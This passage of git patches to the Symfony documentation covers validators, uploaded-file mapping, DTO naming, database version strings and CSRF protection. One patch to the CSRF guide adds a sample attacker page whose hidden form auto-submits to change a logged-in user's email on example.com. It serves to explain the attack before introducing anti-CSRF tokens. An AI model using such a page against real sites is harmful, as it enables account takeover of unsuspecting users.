+        class Device
         {
             #[Assert\MacAddress]
             protected string $mac;
@@ -39,7 +39,7 @@ will contain a host name.
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Author:
+        App\Entity\Device:
             properties:
                 mac:
                     - MacAddress: ~
@@ -52,7 +52,7 @@ will contain a host name.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Author">
+            <class name="App\Entity\Device">
                 <property name="max">
                     <constraint name="MacAddress"/>
                 </property>
@@ -61,13 +61,13 @@ will contain a host name.
 
     .. code-block:: php
 
-        // src/Entity/Author.php
+        // src/Entity/Device.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Author
+        class Device
         {
             // ...
 

From 979891b65830f123e846534119aab8e559b48d74 Mon Sep 17 00:00:00 2001
From: rahul <rcsofttech85@gmail.com>
Date: Tue, 7 May 2024 14:46:30 +0530
Subject: [PATCH 6070/7107] Removed unnecessary Request parameter

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 76aaf9ea4bf..a758c856f16 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -176,7 +176,7 @@ attribute on the controller action::
     // ...
 
     #[IsCsrfTokenValid('delete-item', tokenKey: 'token')]
-    public function delete(Request $request): Response
+    public function delete(): Response
     {
         // ... do something, like deleting an object
     }

From 19e4f28b3674cfc5ca4d88d4b845a523b9676737 Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Mon, 6 May 2024 20:30:11 +0200
Subject: [PATCH 6071/7107] [AssetMapper] Document how to make it work with a
 Content Security Policy

---
 frontend/asset_mapper.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c4ec17337ef..dfc6a196430 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1061,6 +1061,27 @@ have *one* importmap, so ``importmap()`` must be called exactly once.
 If, for some reason, you want to execute *only* ``checkout.js``
 and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
 
+Using a Content Security Policy (CSP)
+-------------------------------------
+
+If you're using a `Content Security Policy`_ (CSP) to prevent cross-site
+scripting attacks, the inline ``<script>`` tags rendered by the ``importmap()``
+function will likely violate that policy and will not be executed by the browser.
+
+To allow these scripts to run without disabling the security provided by
+the CSP, you can generate a secure random string for every request (called
+a *nonce*) and include it in the CSP header and in a ``nonce`` attribute on
+the ``<script>`` tags.
+The ``importmap()`` function accepts an optional second argument that can be
+used to pass attributes to the rendered ``<script>`` tags.
+You can use the `NelmioSecurityBundle`_ to generate the nonce and include
+it in the CSP header, and then pass the same nonce to the Twig function:
+
+.. code-block:: twig
+
+    {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
+    {{ importmap('app', {'nonce': csp_nonce('script')}) }}
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1143,3 +1164,5 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
 .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
+.. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+.. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling

From 6afab454cb1450e0fbdb43abed020d299196e64f Mon Sep 17 00:00:00 2001
From: Asis Pattisahusiwa <79239132+asispts@users.noreply.github.com>
Date: Wed, 8 May 2024 09:45:00 +0100
Subject: [PATCH 6072/7107] Add missing asterisk

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 73194f94627..adbe8359743 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1745,7 +1745,7 @@ during a request::
 
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
-            /* @var InMemoryTransport $transport */
+            /** @var InMemoryTransport $transport */
             $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }

From 846cbae795919e74ec57ee9d1010cb3ff16d4041 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 May 2024 12:52:24 +0200
Subject: [PATCH 6073/7107] Tweaks and rewords

---
 controller.rst | 83 +++++++++++++++++++++++++++-----------------------
 1 file changed, 45 insertions(+), 38 deletions(-)

diff --git a/controller.rst b/controller.rst
index ee6c2ecd194..cec5ce4b904 100644
--- a/controller.rst
+++ b/controller.rst
@@ -589,84 +589,91 @@ using the ``type`` option of the attribute::
 
 .. _controller_map-uploaded-file:
 
-Mapping Uploaded File
-~~~~~~~~~~~~~~~~~~~~~
+Mapping Uploaded Files
+~~~~~~~~~~~~~~~~~~~~~~
 
-You can map ``UploadedFile``s to the controller arguments and optionally bind ``Constraints`` to them.
-The argument resolver fetches the ``UploadedFile`` based on the argument name.
-
-::
+Symfony provides an attribute called ``#[MapUploadedFile]`` to map one or more
+``UploadedFile`` objects to controller arguments::
 
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
     use Symfony\Component\Routing\Attribute\Route;
-    use Symfony\Component\Validator\Constraints as Assert;
 
-    #[Route('/user/picture', methods: ['PUT'])]
-    class ChangeUserPictureController
+    class UserController extends AbstractController
     {
-        public function _invoke(
-            #[MapUploadedFile([
-                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
-                new Assert\Image(maxWidth: 3840, maxHeight: 2160)
-            ])]
-            UploadedFile $picture
+        #[Route('/user/picture', methods: ['PUT'])]
+        public function changePicture(
+            #[MapUploadedFile] UploadedFile $picture,
         ): Response {
             // ...
         }
     }
 
-.. tip::
-
-    The bound ``Constraints`` are performed before injecting the ``UploadedFile`` into the controller argument.
-    When a constraint violation is detected an ``HTTPException`` is thrown and the controller's
-    action is not executed.
-
-Mapping ``UploadedFile``s with no custom settings.
+In this example, the associated :doc:`argument resolver <controller/value_resolver>`
+fetches the ``UploadedFile`` based on the argument name (``$picture``). If no file
+is submitted, an ``HttpException`` is thrown. You can change this by making the
+controller argument nullable:
 
 .. code-block:: php-attributes
 
     #[MapUploadedFile]
-    UploadedFile $document
+    ?UploadedFile $document
 
-An ``HTTPException`` is thrown when the file is not submitted.
-You can skip this check by making the controller argument nullable.
+The ``#[MapUploadedFile]`` attribute also allows to pass a list of constraints
+to apply to the uploaded file::
 
-.. code-block:: php-attributes
+    namespace App\Controller;
 
-    #[MapUploadedFile]
-    ?UploadedFile $document
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
+    use Symfony\Component\Routing\Attribute\Route;
+    use Symfony\Component\Validator\Constraints as Assert;
 
-.. code-block:: php-attributes
+    class UserController extends AbstractController
+    {
+        #[Route('/user/picture', methods: ['PUT'])]
+        public function changePicture(
+            #[MapUploadedFile([
+                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
+                new Assert\Image(maxWidth: 3840, maxHeight: 2160),
+            ])]
+            UploadedFile $picture,
+        ): Response {
+            // ...
+        }
+    }
 
-    #[MapUploadedFile]
-    UploadedFile|null $document
+The validation constraints are checked before injecting the ``UploadedFile`` into
+the controller argument. If there's a constraint violation, an ``HttpException``
+is thrown and the controller's action is not executed.
 
-``UploadedFile`` collections must be mapped to array or variadic arguments.
-The bound ``Constraints`` will be applied to each file in the collection.
-If a constraint violation is detected to one of them an ``HTTPException`` is thrown.
+If you need to upload a collection of files, map them to an array or a variadic
+argument. The given constraint will be applied to all files and if any of them
+fails, an ``HttpException`` is thrown:
 
 .. code-block:: php-attributes
 
     #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
     array $documents
 
-.. code-block:: php-attributes
-
     #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
     UploadedFile ...$documents
 
-Handling custom names.
+Use the ``name`` option to rename the uploaded file to a custom value:
 
 .. code-block:: php-attributes
 
     #[MapUploadedFile(name: 'something-else')]
     UploadedFile $document
 
-Changing the ``HTTP Status`` thrown when constraint violations are detected.
+In addition, you can change the status code of the HTTP exception thrown when
+there are constraint violations:
 
 .. code-block:: php-attributes
 

From 6a8dbc6dfe6e9185ed859b3c9908fb84417598fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 May 2024 12:24:41 +0200
Subject: [PATCH 6074/7107] [Security] Improve the docs related to CSRF

---
 security/csrf.rst | 62 +++++++++++++++++++++++++++++++++++------------
 1 file changed, 47 insertions(+), 15 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 87a1b972998..6a105e09771 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -1,15 +1,44 @@
 How to Implement CSRF Protection
 ================================
 
-CSRF - or `Cross-site request forgery`_ - is a method by which a malicious
-user attempts to make your legitimate users unknowingly submit data that
-they don't intend to submit.
+CSRF, or `Cross-site request forgery`_, is a type of attack where a malicious actor
+tricks a user into performing actions on a web application without their knowledge
+or consent.
 
-CSRF protection works by adding a hidden field to your form that contains a
-value that only you and your user know. This ensures that the user - not some
-other entity - is submitting the given data.
+The attack is based on the trust that a web application has in a user's browser
+(e.g. on session cookies). Here's a real example of a CSRF attack: a malicious
+actor could create the following website:
 
-Before using the CSRF protection, install it in your project:
+.. code-block:: html
+
+    <html>
+        <body>
+            <form action="https://example.com/settings/update-email" method="POST">
+                <input type="hidden" name="email" value="malicious-actor-address@some-domain.com"/>
+            </form>
+            <script>
+                document.forms[0].submit();
+            </script>
+
+            <!-- some content here to distract the user -->
+        </body>
+    </html>
+
+If you visit this website (e.g. by clicking on some email link or some social
+network post) and you were already logged in on the ``https://example.com`` site,
+the malicious actor could change the email address associated to your account
+(effectively taking over your account) without you even being aware of it.
+
+An effective way of preventing CSRF attacks is to use anti-CSRF tokens. These are
+unique tokens added to forms as hidden fields. The legit server validates them to
+ensure that the request originated from the expected source and not some other
+malicious website.
+
+Installation
+------------
+
+Symfony provides all the needed features to generate and validate the anti-CSRF
+tokens. Before using them, install this package in your project:
 
 .. code-block:: terminal
 
@@ -75,9 +104,9 @@ protected forms. As an alternative, you can:
 CSRF Protection in Symfony Forms
 --------------------------------
 
-Forms created with the Symfony Form component include CSRF tokens by default
-and Symfony checks them automatically, so you don't have to do anything to be
-protected against CSRF attacks.
+:doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also
+checks them automatically for you. So, when using Symfony Forms, you don't have
+o do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 
@@ -117,12 +146,15 @@ You can also customize the rendering of the CSRF form field creating a custom
 the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to
 customize the entire form field contents).
 
-CSRF Protection in Login Forms
-------------------------------
+.. _csrf-protection-in-login-forms:
+
+CSRF Protection in Login Form and Logout Action
+-----------------------------------------------
+
+Read the following:
 
-See :ref:`form_login-csrf` for a login form that is protected from CSRF
-attacks. You can also configure the
-:ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
+* :ref:`CSRF Protection in Login Forms <form_login-csrf>`;
+* :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
 

From e116b8a8b837685bb650100a663a3affaac07b0f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 9 May 2024 13:48:06 +0200
Subject: [PATCH 6075/7107] Update kernel.rst: Adding example for
 `kernel.project_dir`

Page: https://symfony.com/doc/6.4/reference/configuration/kernel.html#kernel-project-dir

Reason: Showing there is no trailing slash in the path.
---
 reference/configuration/kernel.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index dc46ebd8018..4a26597aeb2 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -261,12 +261,14 @@ method of the kernel class, which you can override to return a different value.
 ``kernel.project_dir``
 ----------------------
 
-**type**: ``string`` **default**: the directory of the project ``composer.json``
+**type**: ``string`` **default**: the directory of the project's ``composer.json``
 
 This parameter stores the absolute path of the root directory of your Symfony application,
 which is used by applications to perform operations with file paths relative to
 the project's root directory.
 
+Example: `/home/user/my_project`
+
 By default, its value is calculated automatically as the directory where the
 main ``composer.json`` file is stored. This value is also exposed via the
 :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the

From 5b8e1984e9c2aff1772fbab631f8cd8056006eb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 May 2024 16:55:55 +0200
Subject: [PATCH 6076/7107] Don't capitalize acronyms in class names

---
 controller.rst        | 26 +++++++++++++-------------
 form/type_guesser.rst | 22 +++++++++++-----------
 2 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/controller.rst b/controller.rst
index 1a46200ebdf..ec2777e7f19 100644
--- a/controller.rst
+++ b/controller.rst
@@ -401,7 +401,7 @@ optional validation constraints::
 
     use Symfony\Component\Validator\Constraints as Assert;
 
-    class UserDTO
+    class UserDto
     {
         public function __construct(
             #[Assert\NotBlank]
@@ -419,14 +419,14 @@ optional validation constraints::
 You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
 attribute in your controller::
 
-    use App\Model\UserDTO;
+    use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
     // ...
 
     public function dashboard(
-        #[MapQueryString] UserDTO $userDto
+        #[MapQueryString] UserDto $userDto
     ): Response
     {
         // ...
@@ -443,7 +443,7 @@ HTTP status to return if the validation fails::
         #[MapQueryString(
             validationGroups: ['strict', 'edit'],
             validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY
-        )] UserDTO $userDto
+        )] UserDto $userDto
     ): Response
     {
         // ...
@@ -454,14 +454,14 @@ The default status code returned if the validation fails is 404.
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 
-    use App\Model\UserDTO;
+    use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
     // ...
 
     public function dashboard(
-        #[MapQueryString] UserDTO $userDto = new UserDTO()
+        #[MapQueryString] UserDto $userDto = new UserDto()
     ): Response
     {
         // ...
@@ -497,14 +497,14 @@ In this case, it is also possible to directly map this payload to your DTO by
 using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload`
 attribute::
 
-    use App\Model\UserDTO;
+    use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
 
     // ...
 
     public function dashboard(
-        #[MapRequestPayload] UserDTO $userDto
+        #[MapRequestPayload] UserDto $userDto
     ): Response
     {
         // ...
@@ -519,7 +519,7 @@ your DTO::
             serializationContext: ['...'],
             resolver: App\Resolver\UserDtoResolver
         )]
-        UserDTO $userDto
+        UserDto $userDto
     ): Response
     {
         // ...
@@ -537,7 +537,7 @@ the validation fails as well as supported payload formats::
             acceptFormat: 'json',
             validationGroups: ['strict', 'read'],
             validationFailedStatusCode: Response::HTTP_NOT_FOUND
-        )] UserDTO $userDto
+        )] UserDto $userDto
     ): Response
     {
         // ...
@@ -557,16 +557,16 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 
     public function dashboard(
-        #[MapRequestPayload()] EmployeesDTO $employeesDto
+        #[MapRequestPayload()] EmployeesDto $employeesDto
     ): Response
     {
         // ...
     }
 
-    final class EmployeesDTO
+    final class EmployeesDto
     {
         /**
-         * @param UserDTO[] $users
+         * @param UserDto[] $users
          */
         public function __construct(
             public readonly array $users = []
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index b2137b82578..111f1b77986 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -44,14 +44,14 @@ This interface requires four methods:
 
 Start by creating the class and these methods. Next, you'll learn how to fill each in::
 
-    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
+    // src/Form/TypeGuesser/PhpDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
     use Symfony\Component\Form\Guess\TypeGuess;
     use Symfony\Component\Form\Guess\ValueGuess;
 
-    class PHPDocTypeGuesser implements FormTypeGuesserInterface
+    class PhpDocTypeGuesser implements FormTypeGuesserInterface
     {
         public function guessType(string $class, string $property): ?TypeGuess
         {
@@ -90,9 +90,9 @@ The ``TypeGuess`` constructor requires three options:
   type with the highest confidence is used.
 
 With this knowledge, you can implement the ``guessType()`` method of the
-``PHPDocTypeGuesser``::
+``PhpDocTypeGuesser``::
 
-    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
+    // src/Form/TypeGuesser/PhpDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
@@ -102,7 +102,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
     use Symfony\Component\Form\Guess\Guess;
     use Symfony\Component\Form\Guess\TypeGuess;
 
-    class PHPDocTypeGuesser implements FormTypeGuesserInterface
+    class PhpDocTypeGuesser implements FormTypeGuesserInterface
     {
         public function guessType(string $class, string $property): ?TypeGuess
         {
@@ -188,7 +188,7 @@ and tag it with ``form.type_guesser``:
         services:
             # ...
 
-            App\Form\TypeGuesser\PHPDocTypeGuesser:
+            App\Form\TypeGuesser\PhpDocTypeGuesser:
                 tags: [form.type_guesser]
 
     .. code-block:: xml
@@ -201,7 +201,7 @@ and tag it with ``form.type_guesser``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\Form\TypeGuesser\PHPDocTypeGuesser">
+                <service id="App\Form\TypeGuesser\PhpDocTypeGuesser">
                     <tag name="form.type_guesser"/>
                 </service>
             </services>
@@ -210,9 +210,9 @@ and tag it with ``form.type_guesser``:
     .. code-block:: php
 
         // config/services.php
-        use App\Form\TypeGuesser\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PhpDocTypeGuesser;
 
-        $container->register(PHPDocTypeGuesser::class)
+        $container->register(PhpDocTypeGuesser::class)
             ->addTag('form.type_guesser')
         ;
 
@@ -223,12 +223,12 @@ and tag it with ``form.type_guesser``:
     :method:`Symfony\\Component\\Form\\FormFactoryBuilder::addTypeGuessers` of
     the ``FormFactoryBuilder`` to register new type guessers::
 
-        use App\Form\TypeGuesser\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PhpDocTypeGuesser;
         use Symfony\Component\Form\Forms;
 
         $formFactory = Forms::createFormFactoryBuilder()
             // ...
-            ->addTypeGuesser(new PHPDocTypeGuesser())
+            ->addTypeGuesser(new PhpDocTypeGuesser())
             ->getFormFactory();
 
         // ...

From e0a49ba49a8c6b1ca770cc8cfc659975212f2b7f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 7 May 2024 16:13:00 +0200
Subject: [PATCH 6077/7107] [Security] Add support for dynamic CSRF id with
 Expression in `#[IsCsrfTokenValid]`

---
 security/csrf.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index 76aaf9ea4bf..715ed8a5283 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -181,6 +181,32 @@ attribute on the controller action::
         // ... do something, like deleting an object
     }
 
+Suppose you want a CSRF token per item, so in the template you have something like the following:
+
+.. code-block:: html+twig
+
+    <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
+        {# the argument of csrf_token() is a dynamic id string used to generate the token #}
+        <input type="hidden" name="token" value="{{ csrf_token('delete-item-' ~ post.id) }}">
+
+        <button type="submit">Delete item</button>
+    </form>
+
+The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression`
+object evaluated to the id::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].id'), tokenKey: 'token')]
+    public function delete(Post $post): Response
+    {
+        // ... do something, like deleting an object
+    }
+
 .. versionadded:: 7.1
 
     The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`

From f3ac20ee191cb9b86c2ed30fc2f5852a434ad35a Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Fri, 10 May 2024 14:12:39 +0200
Subject: [PATCH 6078/7107] Replace serverVersion example values with full
 version numbers

Doctrine DBAL 3.6.0 deprecated incomplete version numbers for the serverVersion
value (for example 8 or 8.0 for MySQL). Instead, a full version number (8.0.37)
is expected.
See https://www.doctrine-project.org/projects/doctrine-dbal/en/4.0/reference/configuration.html#automatic-platform-version-detection
and https://github.com/doctrine/dbal/blob/4.0.x/UPGRADE.md#bc-break-disallowed-partial-version-numbers-in-serverversion.

This commit replaces partial version numbers with full version numbers.
It also replaces examples with EOL database versions (such as MySQL 5.7 and
PostgreSQL 11) with more modern, supported versions.

Fixes https://github.com/symfony/symfony-docs/issues/19876.
---
 doctrine.rst                         | 6 +++---
 doctrine/dbal.rst                    | 2 +-
 reference/configuration/doctrine.rst | 8 ++++----
 testing.rst                          | 4 ++--
 4 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 796d3bf02f1..5c881e31429 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -41,7 +41,7 @@ The database connection information is stored as an environment variable called
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37"
 
     # to use mariadb:
     # Before doctrine/dbal < 3.7
@@ -53,7 +53,7 @@ The database connection information is stored as an environment variable called
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
 
     # to use postgresql:
-    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
+    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=12.19 (Debian 12.19-1.pgdg120+1)&charset=utf8"
 
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
@@ -75,7 +75,7 @@ database for you:
     $ php bin/console doctrine:database:create
 
 There are more options in ``config/packages/doctrine.yaml`` that you can configure,
-including your ``server_version`` (e.g. 5.7 if you're using MySQL 5.7), which may
+including your ``server_version`` (e.g. 8.0.37 if you're using MySQL 8.0.37), which may
 affect how Doctrine functions.
 
 .. tip::
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 544428a9691..a0e0286d53e 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -32,7 +32,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index ad6d89195cd..288a088b47a 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -57,7 +57,7 @@ The following block shows all possible configuration keys:
                 charset:              utf8mb4
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.7'
+                server_version:       '8.0.37'
                 mapping_types:
                     enum: string
                 types:
@@ -91,7 +91,7 @@ The following block shows all possible configuration keys:
                     charset="utf8mb4"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.7">
+                    server-version="8.0.37">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -134,13 +134,13 @@ If you want to configure multiple connections in YAML, put them under the
                     user:             root
                     password:         null
                     host:             localhost
-                    server_version:   '5.6'
+                    server_version:   '8.0.37'
                 customer:
                     dbname:           customer
                     user:             root
                     password:         null
                     host:             localhost
-                    server_version:   '5.7'
+                    server_version:   '8.2.0'
 
 The ``database_connection`` service always refers to the *default* connection,
 which is the first one defined or the one configured via the
diff --git a/testing.rst b/testing.rst
index f4edb68c404..cc71eb6c5eb 100644
--- a/testing.rst
+++ b/testing.rst
@@ -225,7 +225,7 @@ need in your ``.env.test`` file:
     # .env.test
 
     # ...
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=8.0.37"
 
 In the test environment, these env files are read (if vars are duplicated
 in them, files lower in the list override previous items):
@@ -381,7 +381,7 @@ env var:
 .. code-block:: env
 
     # .env.test.local
-    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=8.0.37"
 
 This assumes that each developer/machine uses a different database for the
 tests. If the test set-up is the same on each machine, use the ``.env.test``

From a54a981302525b5be80bb36655cf99fa779e6658 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 May 2024 12:59:26 +0200
Subject: [PATCH 6079/7107] Extend AbstractBundle instead of Bundle

---
 bundles/best_practices.rst            | 20 +++++++++++++-------
 service_container/compiler_passes.rst |  4 ++--
 2 files changed, 15 insertions(+), 9 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 0cdf4ecb2b9..5996bcbe43d 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -78,16 +78,22 @@ The following is the recommended directory structure of an AcmeBlogBundle:
     ├── LICENSE
     └── README.md
 
-This directory structure requires to configure the bundle path to its root
-directory as follows::
+.. note::
+
+    This directory structure is used by default when your bundle class extends
+    the recommended :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`.
+    If your bundle extends the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
+    class, you have to override the ``getPath()`` method as follows::
 
-    class AcmeBlogBundle extends Bundle
-    {
-        public function getPath(): string
+        use Symfony\Component\HttpKernel\Bundle\Bundle;
+
+        class AcmeBlogBundle extends Bundle
         {
-            return \dirname(__DIR__);
+            public function getPath(): string
+            {
+                return \dirname(__DIR__);
+            }
         }
-    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fda044a1195..fc5728685e0 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -75,9 +75,9 @@ method in the extension)::
 
     use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Bundle\Bundle;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class MyBundle extends Bundle
+    class MyBundle extends AbstractBundle
     {
         public function build(ContainerBuilder $container): void
         {

From 9f0c2e955d74b0e4bf458b55e978881f425078b5 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Fri, 3 May 2024 22:57:08 +0200
Subject: [PATCH 6080/7107] [ExpressionLanguage] Add operators precedence
 documentation

---
 reference/formats/expression_language.rst | 30 +++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 370dbfd6f00..5bc2970024a 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -422,6 +422,36 @@ Other Operators
 * ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`)
 * ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`)
 
+Operators Precedence
+~~~~~~~~~~~~~~~~~~~~
+
+The following table summarize the operators and their associativity from the highest to the lowest precedence.
+It can be useful to understand the actual behavior of an expression.
+
+To avoid ambiguities it is a good practice to add parentheses.
+
+=============================================  =============
+Operators                                      associativity
+=============================================  =============
+``-``, ``+``                                   none
+``**``                                         right
+``*``, ``/``, ``%``                            left
+``not``, ``!``                                 none
